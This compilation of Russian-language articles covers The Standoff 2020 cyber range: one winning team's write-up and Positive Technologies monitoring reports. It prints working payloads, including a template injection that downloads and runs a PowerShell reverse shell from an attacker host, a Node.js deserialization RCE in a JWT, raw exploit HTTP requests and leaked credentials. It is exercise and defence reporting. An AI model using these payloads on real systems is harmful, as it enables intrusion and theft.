Знаете, в такой дерганной и мелочной ситуации в начале игры, когда позиции меняются, каждый старается бежать вперед паровоза и играть в позиционные гонки, кто-то из соперников дико чудит - мы начали размениваться частью нажитых очей, проверяя, что все-таки будет с отданными RCE, LFI - их закроют или оставят. Нам необходимо было реально понять, сдавать пустые вектора или держать все позиции до победного.

Поясняю, было приличное количество точек входа, за которыми дальше попросту не было ничего, и мы их называли "пустышки".

В первые двое суток, по крайней мере, мы, размениваясь оплеухами с другими командами, то скидывая с позиций всех, то начинали сначала. Это продолжалось до тех пор, пока инфраструктурщики нашей команды не нарыли реальные точки входа во внутренние сети ряда офисов, и тут мы действительно обомлели, увидев всю ту инфраструктуру, которую заложили организаторы.

Ребята, она была огромна, в ней реально можно было заблудиться. Давайте немного расскажу: первичный скан всех 6-ти подсетей содержал как минимум 10 машин внутри каждой, итого уже более 60-ти хостов. Внутри первого взятого вектора была еще целая офисная сеть, состоящая из леса доменов, первичных, вторичных и read-only контроллеров, различных wsus, db, backup, fileserver, exchange, rdg, sharepoint и других серверов, за которыми находились пользовательские ПК и связующие сервисы, но обо всем об этом поговорим во второй части, которую подготовим уже совсем скоро!

В первый день мы чувствовали, что весь наш запал на победу, азарт и стремление только усиливаются. Покажу, как выглядел внутренний портал 8 часов с момента старта и мы первые! осталось каких-то 116 часов и 16 минут до конца марафона

Для тех, кому чтиво не по душе - оставлю ниже сразу результат марафона. Кому всё же интересно продолжение - оно скоро появится. Во второй части рассказа будут и технические подробности, и новые эмоциональные всплески с реализацией бизнес рисков а пока, посмотрите разбор от организаторовПо следам The Standoff: расследуем успешные атаки на город

В заключении хочется отметить всех, кто так или иначе участвовал в марафоне и подготовке к нему, предоставлял оборудование и серверные мощности и совсем не важно, на минуту заходили или были с нами все 123 часа без сна, спасибо Вам ребята:

• Joan Agusti Martinez Carbonell

• Александр Калединов

• Александр Ким

• Алексей Морозов

• Антон Шепеленко

• Батыржан Тютеев

• Богдан Лукин

• Дмитрий Комиссаренко

• Дмитрий Фёдоров

• Евгений Шадрин

• Кирилл Мурзин

• Кутлымурат Мамбетниязов

• Олег Юрченко

• Паша "Кролик"

• Сергей Песков

• Станислав Истягин

• Тимур Молдалиев

На прошедшем The Standoff мы, команда PT Expert Security Center, параллельно с участниками противостояния со стороны защиты мониторили инфраструктуру площадки и отдельных офисов цифровой копии мегаполиса, развернутой на нашем киберполигоне. Для этого мы развернули дополнительный security operations center (SOC), который как бы накрыл всю инфраструктуру, за счет чего видел все активности участников The Standoff и даже немного больше. Одним из инструментов этого SOC был PT Application Firewall межсетевой экран уровня веб-приложений (о результатах работы еще одного из инструментов нашего SOC PT Sandbox читайте в одной из наших предыдущих статей). Ниже речь пойдет исключительно о том, что происходило на площадке с точки зрения веба и какие цели выбирали команды атакующих.

Общая статистика по атакам

В рамках The Standoff мы мониторили атаки на портал самой площадки, а также на 30 веб-ресурсов, входящих в игровую инфраструктуру полигона. Это были ресурсы, задействованные как в основной игре (Meters офиса 25 Hours ресурс передачи показаний счетчиков, Consul для Nuft платформа управления сервисами, о которых пойдет речь ниже), так и в bug bounty (например, CMS Umbraco для Bank of FF, Mantis Bugtracker для 25 Hours система отслеживания ошибок в программных продуктах, rConfir RCE сервис управления сетевыми конфигурациями для Big Bro Group). Read teams получали баллы за реализацию рисков, а также за поиск уязвимостей в системах и репорты.

Кто был кто на киберполигоне:

- Heavy Ship Logistics компания, которая управляла аэропортом, железнодорожной станцией, морским портом;

- 25 Hours компания, управлявшая парком развлечений, деловым центром, светофорной сетью;

- Tube компания, под управлением которой были телерадиокомпания, газораспределительная станция, трансформаторная подстанция;

- Nuft организация, ведавшая нефтяным месторождением и нефтехимическим заводом;

- Big Bro Group электростанция;

- Bank of FF банк.

Ресурсы были равномерно распределены между площадками как по уровню сложности, так и по назначению. В частности приложения, участвующие в bug bounty, имеющие по два интерфейса и смотрящие во внутреннюю сеть виртуального офиса, являлись точкой входа для реализации рисков внутри компаний цифрового города. Таких приложений было 13. При этом шесть из них предполагали достижение цели bug bounty изнутри инфраструктуры офиса. Остальные приложения являлись тупиковыми, то есть фактически были одиночными конечными целями с достаточно простыми задачами на эксплуатацию различных уязвимостей (например, известная RCE во Flack или же BookStore SQL Injection часто предлагаемые для решения в capture the flag). Все эти порталы и приложения мы отслеживали исключительно в режиме мониторинга и зафиксировали атаки на 29 из 30 имеющихся в инфраструктуре веб-приложений (в одном из ресурсов была возможность для логических атак, которые можно было проводить только из сети банка). Единственным средством защиты, которым располагали защитники, был web application firewall.

Портал The Standoff также был заведен за PT Application Firewall но уже в режиме блокирования и с целью предотвращения возможных атак на поддерживающую мероприятие инфраструктуру из интернета.

На рис. 1 представлено распределение атак по игровым дням. Серым цветом обозначены специфические сформированные правила для мероприятия, желтым атаки низкого уровня опасности, оранжевым среднего, красным высокого. Последние часто говорят нам о тех или иных командах, запущенных на атакуемом узле, или же о проэксплуатированных уязвимостях. Далее мы будем использовать эти же цвета.

Список наиболее часто производимых атак приведен ниже (указано количество атак за весь период The Standoff с 12:00 12 ноября до 14:00 17 ноября).

Реальная картина проведенных атак и результаты мониторинга, полученные в PT Application Firewall, различаются, например, потому, что эксплуатация уязвимостей некоторых приложений проводилась уже изнутри периметра с внутренних адресов офиса защиты. Такие атаки могут фиксироваться внутренними средствами аудита. Кроме того, в любом из приложений могут быть использованы атаки, отличные от заложенных для игры, если итоговой целью не была эксплуатация конечной уязвимости. Данные о таких атаках могут фиксироваться не полностью, могут не отражаться в журналах.

Чаще всего атакующие выбирали целью приложения офисов Тube и Bank of FF: CMS Made Simple (CMS), bbord (виртуальная фотогалерея), CMS Umbraco, Prestoshop (сайт электронной коммерции), Avideo encoder (ресурс декодирования видео), FHEM tomcat (система умного дома), Consul, openEMR (электронная медицинская карта), ATutor (система управления обучением) и rConfig.

Как открывали двери в инфраструктуру через веб

Во время мониторинга мы проанализировали использованные атакующими инструменты для прохождения периметра. Наряду с традиционным прослушиванием портов с помощью nmap и инструментов типа Burp Suite большой популярностью пользовались самописные скрипты на Python и Go: они составляли почти четверть применяемых инструментов и зачастую использовались на базе уже имеющегося у атакующих инструментария типа Metasploit. Приложения на периметрах защитников активно фаззились с помощью встроенных модулей burp suite, модулей к Metasploit, Responder-инструментарием.

Из 30 задач, заложенных на периметре, решены все задачи низкого уровня сложности, 5 из 6 среднего и 2 из 6 повышенного. Задачи среднего и повышенного уровня сложности как раз представляют наибольший интерес, поскольку приводят ко входу в инфраструктуру для дальнейшей реализации рисков и конечно, позволяют набрать наибольшее количество баллов.

Приведем примеры наиболее интересных задач.

Задача Вход в пределы периметра управляющей компании города 25 Hours была реализована через приложение Meters. Это сайт, развернутый для передачи показаний счетчиков воды и электричества онлайн. Так как приложение использует выражения на языке HubL, то {{}} является обработчиком выражений. Все, что попадает в фигурные скобки, заменяется фактическими значениями при обработке. Атака реализуется следующим образом: проверяется наличие уязвимости с помощью вектора {{77}} и подобных, то есть по факту запускается вычисление 77.

Для реализации реальной атаки необходимо выполнить запрос на фронтенде приложения:

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval("var x=new java.lang.ProcessBuilder(\"cmd.exe\",\"/c\",\"powershell -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://attacker-ip/mini-reverse.ps1');\");org.apache.commons.io.IOUtils.toString(x.start().getInputStream())")}}.

Что и было проделано двумя командами атакующих.

Эта атака интересна с той точки зрения, что может служить отправной точкой для реализации векторов в парке развлечений цифрового города (например, для изменения скорости вращения колеса обозрения), в городе в целом (для нарушения работы светофорной сети) или же для кражи персональных данных горожан.

Еще одна интересная задача атака, реализованная в компании Nuft через приложение Consul. На внешнем сервисе размещено ПО для обхода блокировок. С помощью него можно реализовать атаку Server Side Request Forgery, которая проводится по протоколу Gopher и направляется методом PUT на прослушиваемый сервисом порт.

Полученный после проведенной манипуляции статус 200 говорит об успешной атаке.

Получение доступа и закрепление на этом узле позволяло реализовать атаки на такие объекты цифрового города, как нефтяное месторождение (пример цели технологический процесс транспортировки нефтепродуктов в хранилища) или нефтехимический завод (пример цели процессы производства химических веществ).

Для обнаружения некоторых типов атак и выявления эксплуатируемых уязвимостей была проведена настройка срабатываний (устранение false positive) и написаны дополнительные правила выявления атак. Рассмотрим принципы написания таких правил.

Для фиксации основных типов атак и их выявления рассматриваются proofs of concept проведения атаки с уточнением пути, по которому производится атака. Правило формируется на основе указанного пути, параметра, в который производится внедрение той или иной комбинации символов, ссылки или кода.

Например, в CMS Umbraco (использовалась в инфраструктуре компании Bank of FF) есть уязвимость, эксплуатация которой осуществляется из-под аутентифицированного пользователя методом POST; с помощью фиксации пути эксплуатации и параметров эксплуатации атака и была зафиксирована.

Нетрудно догадаться, что для Meters, атака на который была описана выше, аналогично сформировано правило на основании описанных выше вводных интерпретации и выполнения команд в фигурных скобках в одном из трех параметров.

Условие использования конечного приложения и request path применяется при необходимости обращений по конкретному пути.

В ходе такого анализа уязвимостей приложений было предварительно сформировано порядка 30 правил. Эти правила учитывают общую тенденцию, но не всегда покрывают все методы реализации атаки на то или иное приложение. Кроме заведомо известных и заложенных заранее векторов атак зачастую используются обходные пути. Например, вместо эксплуатации уязвимости на периметре с целью получения данных из базы атакующие получали доступ по альтернативному протоколу уже внутри сети (ODBC) или же делали backup и вытаскивали его через административные общие папки.

Выводы

Мы видим, что зачастую нападающие (в том числе и в рамках The Standoff) используют атаки на приложения, опубликованные на периметре, с целью получения первичного доступа и закрепления в инфраструктуре. Основным средством защиты таких приложений являются решения класса web application firewall. На киберполигоне PT Application Firewall показал свою эффективность в отслеживании различных атак на периметре, в том числе позволил формировать собственные правила для отслеживания атак. За счет удобного интерфейса и отображения как запросов, так и ответов приложения продукт позволил нам эффективно отсеивать false positive срабатывания, а также оценить спектр используемого атакующими инструментария.

Positive Technologies (PT Expert Security Center)

Мы продолжаем освещать работу команды SOC (подробнее о ней в нашей предыдущей статье) на прошедшей кибербитве The Standoff. Сегодня пойдет речь о результатах мониторинга с помощью NTA-системы PT Network Attack Discovery (PT NAD), разработанной компанией Positive Technologies и выявляющей атаки на периметре и внутри сети.

За шесть дней PT NAD зафиксировал больше 8 млн атак, среди которых 778 уникальных. Большинство обнаруженных атак результат активности различных сетевых сканеров и автоматизированных сканеров уязвимостей. В нашем случае под атакой подразумевается срабатывание правила обнаружения на вредоносный сетевой трафик.

Проникновение во внутреннюю сеть

Любая атака начинается с разведки. Напомню: было 29 команд атакующих, и всем нужно было разведать инфраструктуру. Мы получили гигантский поток срабатываний на внешних периметрах компаний.

В 2020 году город FF состоял из грузового морского порта, газораспределительной станции, химического завода, нефтедобывающего предприятия, объектов электрогенерации, аэропорта, делового центра и парка развлечений. Мегаполис имел свою систему уличного освещения и железную дорогу со станциями, автомобильными и ж/д переездами с движущимися автомобилями и поездами.

Атак во внутренней инфраструктуре офисов было меньше. Мы зафиксировали около 340 000 атак, уникальными из них было 313. В эту выборку, конечно, снова попали различные сканы, но они запускались уже более точечно.

Ниже я привел топ-15 инструментов, используемых атакующими. Статистика собрана на основе HTTP-заголовков клиентов в сетевом трафике, срабатываний наших правил обнаружения и публичного набора Emerging Threats.

Топ-15 инструментов, которые использовали атакующие

За счет разбора сетевых протоколов до уровня L7 и хранения сырого трафика PT NAD позволяет аналитикам ИБ выявлять еще больше угроз. Например, первая инфраструктура, в которую проникли атакующие, был офис нефтедобывающей компании Nuft. Мы увидели атаки, производимые с адресов серверного сегмента офиса. При изучении сетевого трафика стало понятно, что у части серверов был открыт 445-й порт во внешнюю сеть. Атакующие смогли подобрать пароль локального администратора на этих серверах. На скриншоте успешная сессия с NTLM-аутентификацией под локальным администратором на одном из серверов офиса Nuft.

Чуть позже мы увидели атаку с применением техники OS Credential Dumping: DCSync с этого сервера. Для ее проведения нужна учетная запись с правами доменного администратора. В этом случае атака проводилась с учетной записи nuft\scanmaste, которая принадлежала команде защиты и входила в группу администраторов домена. Это означало компрометацию домена.

Ближе к концу противостояния одна команда атакующих пыталась подобрать пароль к GitLab-серверу банка Bank of FF по протоколу SSH. За счет механизма разбора протокола SSH мы легко отследили эту попытку атаки.

В итоге у атакующих получилось успешно аутентифицироваться на сервере.

Разведка внутренней инфраструктуры

На третий день противостояния мы обнаружили проведение разведки в домене с компьютера одного из пользователей банка. Активность была недолгой, так как команда защиты быстро среагировала и вытеснила атакующих из инфраструктуры.

Мы установили, что атакующие подключились к компьютеру пользователя по протоколу RDP через RDG-сервер. Это означало, что у них был пароль данного пользователя. В попытках выяснить, откуда атакующие его получили, мы отправились изучать сетевую активность, предшествующую атаке. Нам удалось обнаружить подозрительные соединения по протоколу HTTP. Подключения выполнялись во внешнюю сеть по IP-адресу, а не имени хоста. URL был похож на веб-клиент почтового сервера. Запрос был сделан методом POST, а это значит, что пользователь что-то отправлял на сервер.

Мы выгрузили дамп сырого трафика с данной сессией и окончательно убедились, что атакующие успешно провели фишинговую атаку и вынудили пользователя ввести свои учетные данные на фейковой веб-почте.

Маскировка атакующих

Некоторые команды атакующих проявляли креативные способности при проведении своих атак. Так, одна из команд зарегистрировала доменное имя standoff356[.]com. Это доменное имя использовалось для связи с их подконтрольным сервером, например для установки реверс-шелла. Но мы все равно заметили этот подвох.

В выделенном фрагменте видна активность реверс-шелла атакующих. Правило просигнализировало нам о наличии подозрительного контента в сетевом трафике, исходящем с сервера из сегмента DMZ офиса Nuft, который часто встречается при использовании RAW TCP реверс-шелла.

Продвижение и закрепление

Популярной техникой атакующих было разворачивание собственных прокси-серверов на захваченных узлах в инфраструктуре офисов. В дальнейшем хакеры использовали цепочки таких прокси для доступа к серверам во внутренней инфраструктуре. Некоторые команды тоже проявляли креативность, но весьма своеобразным способом: через неприличные пароли. В приведенной ниже сессии мы видим туннелирование через протокол SOCKS5. Учетная запись для подключения к прокси-серверу olololo. Внутри туннелировался DCERPC-трафик от имени пользователя nuft\Administrator. В сессии происходило выполнение команд через модуль Impacket WMIExec. Мы видим, что атакующие закреплялись в системе через создание задачи на запуск их прокси-сервера. При этом задачу они маскировали под службу обновления WSUS.

Также мы видим, что Exchange-сервер был лишь промежуточным, а команда исполнялась на узле 172.20.62.6.

Фишинг

При проведении фишинговых атак атакующие также пытались выделиться и придумать нестандартные имена для файлов. На скриншоте мы видим отправку письма с вложением, которое определилось в PT Sandbox как троян-загрузчик.

Выводы

В статье я постарался разобрать наиболее примечательные моменты прошедших киберучений. Чем дальше атакующие проникали в инфраструктуру тем сложнее становилось отличать их активность от легитимной. Большинство реализованных рисков по краже данных на финальной стадии выполнялись с использованием легитимных механизмов. К тому же, в реальных инфраструктурах зачастую отсутствует стопроцентное покрытие средствами защиты, установленными на узлах. Добиться покрытия, анализируя сетевой трафик, гораздо проще, так как достаточно настроить его зеркалирование с сетевого оборудования. При распутывании инцидентов PT NAD позволял нам максимально подробно отслеживать действия атакующих за счет хранения метаданных всех сессий и сырого трафика. В комбинации с другими нашими продуктами MaxPatrol SIEM, PT Application Firewall и PT Sandbox мы смогли добиться максимального покрытия инфраструктуры нашего виртуального полигона и на протяжении всех шести дней успешно отслеживали действия атакующих как в сети, так и на узлах.

Автор: Алексей Леднев, заместитель руководителя отдела экспертных сервисов и развития экспертного центра безопасности Positive Technologies (PT Expert Security Center)

Привет, наш дорогой читатель!

Как обещали, продолжаем наш цикл статей про участие нашей команды The Codeby в кибербитве на полигоне The Standoff. Начало нашего приключения можно почитать здесь. В этот раз вы узнаете технические подробности реализованных бизнес-рисков, уязвимостей в веб-приложениях и некоторые хитрости, которые в какой-то мере помогли нам стать победителями.

Мы уже писали, что разбились на две команды и разделили цели. При этом в каждой команде был инфраструктурщик, вебер, фишер. Несмотря на то, что это дало свои плоды, оглядываясь назад, мы понимаем, что таким образом у нас уменьшилась коллаборация между специалистами одной категории. Например, для вебера со знаниями PHP попадался ресурс на Ruby, и наоборот. Из-за этого в некоторых моментах мы потеряли время, что непростительно в конкурсе, где каждая команда пытается быстрее эксплуатировать уязвимость и закрыть ее. В следующем году возможно стоит сделать разделение именно по специализациям для более быстрого захвата входных точек.

#Риски

В этом блоке я (Леша - @SooLFaa) (Rambler Group) расскажу, как нами были взяты некоторые риски в части WEB и ряд RCE.

В первый день соревнования мы сразу поделились на две команды. Те, кто пробивали внешний периметр и те кто дальше закреплялись внутри доменов (веб и инфраструктура). Я был в первой команде и сразу сконцентрировался только на одной цели - это сервис покупки авиабилетов. Хотя там были уязвимости типа SQL Injection, гадский WAF не оставлял шансов проломиться через них, тогда я стал исследовать логику работы ресурса.

Риск. Покупка бесплатных авиабилетов и билетов на аттракционы.

Для начала разобрался в логике работы процесса покупки билета, по шагам перехватывая каждый запрос в burpsuite от этапа регистрации до этапа оплаты билета.

1. Забиваем параметры поиска и находим любой рейс.

2. Заполняем перс. данные на нужный рейс и жмакаем кнопочку Купить.

   

3. Перехватываем этот запрос в burp и видим следующее:

4) Сохраняем запрос и идем дальше.

А дальше меня перекидывает на платежный шлюз, но никаким способ купить билет не удавалось. Тогда снова прошелся по всем шагам и нашёл в исходном коде странице закомментированную форму, которая ссылается на скрипт successpayment.php с теми же именами параметров, что и запрос в пункте 3. БИНГО! Вероятно - это скрипт подтверждения оплаты.

5) Изменив в POST запросе целевой скрипт, я вернулся в свой личный кабинет и увидел в нем купленный билет.

Нашему счастью не было предела, мы подумали, что реализовали риск:

Логика простая, если билет стоил 1000 рублей, то, купив его за 0 рублей, мы кратно изменили цену. Но по замыслу организаторов - это оказалось не так. Пока наш капитан ушёл доказывать организаторам нашу правду, тем временем, Мурат (@manfromkz) проломил портал города с помощью уязвимости в заливке файлов. Всё оказалось очень просто. Под видом картинки он загрузил payload для выполнения команд на сервере.

Найти путь до картинки тоже не составило труда. Его было видно прямо в разметке HTML.

В итоге наш бэкдор выглядел так.

Скачали все исходники, залили полноценный бэкдор и ушли с этого сервера. Это оказалось нашей роковой ошибкой, но об этом я расскажу чуть позже. А тем временем, наш капитан вернулся. Оказывается - это была незапланированная уязвимость, но нам её засчитали и обозначили их как новые риски. Примечательно, что почти одновременно со мной делала тоже самое команда Deteact.

Но и это ещё не всё. Оказывается, точно такой же скрипт был и на кассе аттракционов. За дело взялся Олег (@undefi), проделав, всё тоже самое, точно таким же способом мы смогли покупать билеты и там. В итоге +2000 очков в кармане.

Дальше мы разбежались каждый по своим таргетам. Кто - то пытался проломить другие хосты, я продолжил брать риски на авиакассе, Мурат уже стрелял как из пулемета в багбаунти (за что мы его прозвали пулеметчик). Об этом он вам сам расскажет. Но вернемся к нашей кассе

Риск. Сделать недоступным регистрацию на рейс.

Тем же способом, я начал исследовать каждый запрос в функционале регистрации на рейс.

И я задумался, а что будет если из запроса удалить id документа и попытаться зарегистрировать несколько билетов на несуществующее место? Одним выстрелом я делаю сразу и то и то. Изменяем запрос. sit=-11&ticketid=6084&transfer=true&transferid=&regdoc=

Запрос, хоть и выполнился успешно, но регистрация не была пройдена. Когда я снова попытался перехватить запрос, кнопка регистрации просто не реагировала. БИНГО!!! Сломали систему регистрации, но только для одного билета.

Смотрим дальше внимательней, видим, что id билета - это числовой идентификатор.

Burp Intruder - Пришло твоё время!

Таким образом, недоступны стали все билеты для регистрации. Ну и + ещё 1000 очков.

Остался еще один риск - это

Риск. Утечка данных о пассажире со специальным идентификатором 1605157946597718.

Посмотрев исходники города слитые Муратом, обнаружили помимо файла servicelogic.php ещё файл citydump.sql - и тут пришла идея. Если есть такой файл на главном портале, значит на сайте авиакомпании может быть что - то похожее и почти сразу же угадали имя файла aviadump.sql

Изучив дамп базы, мы увидели поле regrole, которому если задать числовое значение 3, означало админскую роль. Ну а дальше всё просто, регистрируем нового пользователя с правами админа.

У нас открывается скрытый функционал. Вбиваем идентификатор..

..Иииииии.ВНИМАНИЕ!!!!

Ничего нету!!! Видимо просто до нас уже кто - то удалил эти данные. Но тем не менее риск нам засчитали.

Пора уже оставить в покое эту бедную кассу и перейти в город. Ведь там нас ждал целый дамп с исходниками, который я и начал ресерчить.

Риск. Удаление информации по штрафам и задолженностями граждан

Изучая исходник, я откопал следующие куски кода

Создание штрафов пользователям:

```

if(isset($_POST['fine']) && $_POST['fine'] == 'create'){//var_dump($_POST);die;$queryArray =['siss', $_POST['doc'], $_POST['type'], $_POST['des'], $_POST['price']];$result = $db->executeQuery('INSERT INTO fine VALUES (null, ?, ?, ?, ?)', $queryArray);if(!$result){if($db->getQueryResult($db->executeQuery('SELECT id FROM fine WHERE id = ?', ['i', $db->getLastInsertId()]))){$_SESSION['message'] = ['Fine on document: ' . $_POST['doc'] . ' was create', 'success'];}}else$_SESSION['message'] = ['Error!', 'danger'];}

Удаление штрафов пользователям:

if(isset($_POST['fine']) && $_POST['fine'] == 'delete'){//var_dump($_POST);die;$db->executeQuery('DELETE FROM fine WHERE id = ?', ['i', $_POST['fine_id']]);}

Думаю, вы уже догадались какой вектор.

Так как к тому времени вся инфраструктура уже дышала наладом и кроме нас там побывало куча человек, я решил протестировать уже найденный вектор.

Запрос на создание штрафа:

POST /server_script/service_logic.php HTTP/1.1Host: 10.126.40.247:8005User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://10.126.40.247:8005/index.php?ipage=user_pageContent-Type: application/x-www-form-urlencodedContent-Length: 53Cookie: sfcsrftoken=up9hE0W7Fb2UFDuuBczPRbO6uZmCRrbiEP0qnPSI9on6c54PPr8P8sLPkouQH7OF; PHPSESSID=h3rd6f8pruoh2c8ilpec6knlg7Connection: closeUpgrade-Insecure-Requests: 1fine=create&doc=222333&type=3&des=TEST&price=-1

В результате создан штраф Test с задолженностью -1

И запрос на удаление штрафа:

POST /server_script/service_logic.php HTTP/1.1Host: 10.126.40.247:8005User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://10.126.40.247:8005/index.php?ipage=user_pageContent-Type: application/x-www-form-urlencodedContent-Length: 53Cookie: sfcsrftoken=up9hE0W7Fb2UFDuuBczPRbO6uZmCRrbiEP0qnPSI9on6c54PPr8P8sLPkouQH7OF; PHPSESSID=h3rd6f8pruoh2c8ilpec6knlg7Connection: closeUpgrade-Insecure-Requests: 1fine=delete&fine_id=<number>

Штрафа не оказалось. Что же оформляем отчет, сдаем риск и получаем ответ от организаторов: НЕ ТАК НАДО БЛО. Риск не засчитан!. Сказать, что я был в шоке, ничего не сказать, ведь штраф удалён. И даже больше, тем же Intruderом я удалил ВСЕ ШТРАФ в системе, тем самым, сыграв в Робин Гуда и освободив мирных граждан от уплаты. Но делать нечего, продолжаем ресерчить исходники.

Организаторы непрозрачно намекнули, что надо было править в базе. И, собственно, я почти сразу нахожу в том же коде connectionString.

$db = new db('172.17.61.218:3306', 'script', ';zxxslfc', 'city');

Разумеется, напрямую с игровой сети база недоступна. Очевидно, надо снова зайти на сервер города и оттуда попытаться дернуть данные. И вот тут-то и начались танцы с бубнами. Уязвимость больше недоступна из-за жесткого WAF, который отрезал просто всё и легитимные запросы, и нелегитимные. Даже авторизоваться стало нельзя. Больше двух часов я потратил на попытки вернуться по пути Мурата, но всё тщетно. Общение с организаторами тоже ничего не дало. Что же, придется выкручиваться иначе, смотрим на сеть города и ищем другие хосты рядом, через которые мы также могли бы попасть в базу. Большинство из них были уже недоступны или закрыты WAFом (защитники тоже не спали всё это время) наши бэкдоры потеряны, но таки улыбнулась нам удача, нашли мы всё-таки хост http://10.126.40.5:3000/.

Объединившись с Муратом, стали исследовать функционал голосования.

В корне веб сервера нашли файл auth.json, который содержал ключи для авторизации.

Само же веб приложение предлагало функционал голосования, ключевый запрос которой был следующий:

POST /api/vote HTTP/1.1HOST: 10.126.40.5:3000Accept: application/json, text/javascript, */*; X-AUTH-Token: <тут длинная base64 строка> X-Requested-With: XMLHttpRequestContent-Type: application/jsonOrigin: http://10.126.40.5:3000Accept-Encoding: gzip, deflateAccept-Language: en-GB,en-US;q=0.9,en;q=0.8{"pollingName":"poll1", choice: "choice1"}

Так же нашли файл на сервере package.json и поняли, что перед нами NodeJS.

Google - наше всё, оказывается в одном из установленных пакетов была уязвимость в десериализации. Подробнее почитать можно тут (https://www.exploit-db.com/docs/english/41289-exploiting-node.js-deserialization-bug-for-remote-code-execution.pdf)

Стало ясно, что Заголовок X-Auth-Token ни что иное как JWT.

Перебором директории находим ключ для генерации JWT в файле key.pem

-----BEGIN RSA PRIVATE KEY-----Proc-Type: 4,ENCRYPTEDDEK-Info: AES-128-CBC,7704733522F767AF89374B5CFF8518F0cR8PRjShevMVpgkUBmqdNiUVpEdqIyE6RlkWpin4QGG7+vw14RLJyBqrEtGXRdR9ySRRUaLhSRSkFyDoxjHtviwhK2DOTP8jlKzUGojAbLCB7RuwQk0JSci4ixMzDEOC/59iRQH4iJbd4..Oqf4XKI9Q4cpOSCiZkdH8uaJttwUS/9JbeZG3cZQme8WKyto0ya96wkk05PtsPluRBzSFhL+rocP+-----END RSA PRIVATE KEY-----

А дальше дело техники.

Генерируем JWT токен с нагрузкой для десериализации:

{  "id": "f59b33b5-6619-45bf-adcc-5331e871f12e",  "allowedToVote": {    "poll1": "_$$ND_FUNC$$_function(){ require('child_process').exec('cat /etc/passwd > /opt/polling-app/pollings/p_testcoder', function(error, stdout, stderr) { console.log(stdout) }); }()",    "poll2": "voted",    "poll3": "voted",    "poll4": "allowed"  }}

В поле X-Auth-Token подставляем наш JWT и выполняем запрос с нагрузкой cat /etc/passwd > /opt/pollingapp/pollings/ptestcoder, которая запишет в файл /opt/polling-app/pollings/ptestcoder содержимое файла /etc/passwd.

Ну и читаем файл через Path Traversal

Сдаем Rce в Баунти и возвращаемся к штрафам. Хоть мы и получили шелл, клиента mysql не было на сервере, gopher тоже, то есть ничего, что бы помогло нам хоть как-то взаимодействовать с базой. Тогда мне пришла идея дернуть прям родными средствами NodeJs данные из базы. Нагрузка получила следующий вид:

require("mysql2").createConnection({host: "172.17.61.218:3306",user: "script",database:"city",password: ";zxxslfc"}).query("SELECT * FROM fine",function(err, results, fields) { console.log(results); });

Как вы думаете, что произошло? Ответ - ошибка: mysql2 module not found. То есть нет ничего, что помогло бы нам хоть как-то получить данные. Так как сервер отрезан от интернета npm install тоже не помог. Потанцевав ещё с бубнами, Увы и Ах, мы так и не смогли добраться до этих штрафов, все доступные ранее RCE в этой сети уже не работали из - за WAF, сам портал уже умер. Хоть и хочется закончить этот риск хэппи ендом, но, к сожалению, он так и остался не взят. Теперь вы поняли про какую роковую ошибку я говорил? Надо было, как только взяли RCE в городе, сразу проресерчить скрипт и выполнить риск со штрафами.

История про ещё одно RCE

Всё время соревнования мы периодически меняли фокус внимания на багбаунти и искали SQL Injection, SSRF, LFI на всех доступных ресурсах, занимались также уязвимостями в банке (uptime которого оставлял желать лучшего). Мурат продолжал отстреливать SQL инъекциями, я положил на стол ещё пару LFI, периодически помогая команде инфраструктуры, Олег крутил RCE в Мантисе. В общем, все были при деле. И так мы наткнулись на интересный таргет.

Система, которая позволяла рисовать календарь

Перехватив запрос, увидели следующее.

Время было 3 часа ночи. Мы с Олегом ковыряли этот сервис, но никакие вектора LFI не поддавались. Тогда мне на ум приходит идея затестить SSRF, подставив url http://свойбелыйip, я получил заветный reverse-connect. SSRF на лицо. Оформили отчет, сдали в баунти. Разумеется, стали пробовать вектора с RCE (RFI), но я всё таки решил пойти поспать свои 5 часов (именно по стольку мы спали каждый день). На утро пришёл Олег и встретил меня радостным известием, что он таки докрутил вектор до RCE. Достаточно было просто положить файл на внешний сервер с содержимым: eval(тутлюбаяunixкоманда) (Ларчик просто открывался)

А мы мудрили со всякими изощренными нагрузками типа <?php shellexec(cmd) ?>

Пример вывода ls

Посмотрев исходники, всё стало на свои места. Любая команда выполнялась если просто положить её в файл, но я делал это так <?php echo ls -la; ?> и обращался к php скрипту на своем сервере. В итоге за эту уязвимость мы получили баллы сначала как за SSRF, потом ещё как за RCE. Да, оказывается, так тоже можно было :D.

Все найденные уязвимости мы описывать не будем, большинство из них были тривиальны, некоторые были неэксплуатабельны из-за действий защитников и Wafов, если все их описывать, то боюсь, на Хабре кончатся буквы :).

Ну а теперь я подытожу свою часть, на мой взгляд, самым простым, но при этом зрелищным риском.

Риск. Вывод хакерского видео на главный экран города

До конца соревнования остаётся буквально час. В последние сутки мы договорились, что перестаем сдавать отчеты и копим их, дабы не мотивировать другие команды набирать очки. Все уже уставшие, но никто не сдаётся, отрыв с ближайшими конкурентами был всего лишь на несколько тысяч баллов, т.е. достаточно им сдать всего один большой риск и они бы нас обошли.

Забавно, что этот риск мы могли бы сделать в первый же час соревнования, когда я сбрутил учетку оператора, пароль у которой был operator, с первой же попытки :D

Но всё-таки мы его не трогали и решили посмотреть в последний момент.

Залогинившись под юзером, стали исследовать все возможные запросы и нашли следующий скрипт

Он возвращал Json - Объект пользователя с паролем для сброса. Используем его для установки нового пароля.

А дальше просто меняем ссылку на видео и весь город любуется нашим логотипом, ну и вы полюбуйтесь

Вроде всё просто? Но не тут-то было. Помимо нас в конце соревнования в этот таргет валились и другие команды и так же меняли пароль администратора всё это время, соответственно у нас то и дело умирала сессия. Началось противостояние между хакерами за право владения админской учеткой. Капитан, который даёт команду Сейчас я скажу и сразу меняй пароль прям за 5 секунд. А потом крики Твою ж *, опять не успел. В итоге буквально в последние минуты соревнования мы реализовываем, кое как оформляем и отправляем этот риск. И как оказалось не зря, всё, что мы сдали в последний час, сыграло важную роль, чтобы после закрытия соревнования сохранить лидерство.

